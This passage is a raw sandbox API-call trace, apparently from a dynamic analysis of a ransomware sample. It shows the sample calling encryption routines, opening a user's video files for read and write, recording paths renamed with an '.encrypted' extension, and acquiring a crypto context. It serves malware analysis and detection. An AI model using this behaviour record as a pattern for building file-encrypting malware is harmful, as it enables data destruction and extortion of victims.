wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] CharLowerBuffW (in: lpsz="byte[10433]", cchLength=0xb | out: lpsz="byte[10433]") returned 0xb [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.077] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.077] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.077] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.078] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.078] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.078] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.078] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.079] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.079] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.079] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.079] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.080] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.080] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.080] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.080] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10232) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.080] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x27f8, lpOverlapped=0x0) returned 1 [0029.080] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x27f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10232) returned 1 [0029.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\agMab4-chBFVJU6A.encrypted.swf\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0029.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\agMab4-chBFVJU6A.encrypted.swf\r\n", cchWideChar=66, lpMultiByteStr=0xe8f40521c0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\agMab4-chBFVJU6A.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 66 [0029.080] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069770*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0029.081] CloseHandle (hObject=0x188) returned 1 [0029.081] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.081] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.082] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.082] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.082] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.082] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.082] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.083] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.083] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.084] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.084] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0029.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv", cchWideChar=57, lpMultiByteStr=0xe8f40514f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv", lpUsedDefaultChar=0x0) returned 57 [0029.084] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\jvh1ka9-ojecvl8zufh.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0029.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=57, lpWideCharStr=0xe8f4065670, cchWideChar=57 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.mkv") returned 57 [0029.085] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.085] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.085] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.085] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.085] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.086] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.086] CloseHandle (hObject=0x188) returned 1 [0029.086] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.086] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.086] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.086] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.086] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.087] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.087] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.087] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.088] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.088] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, 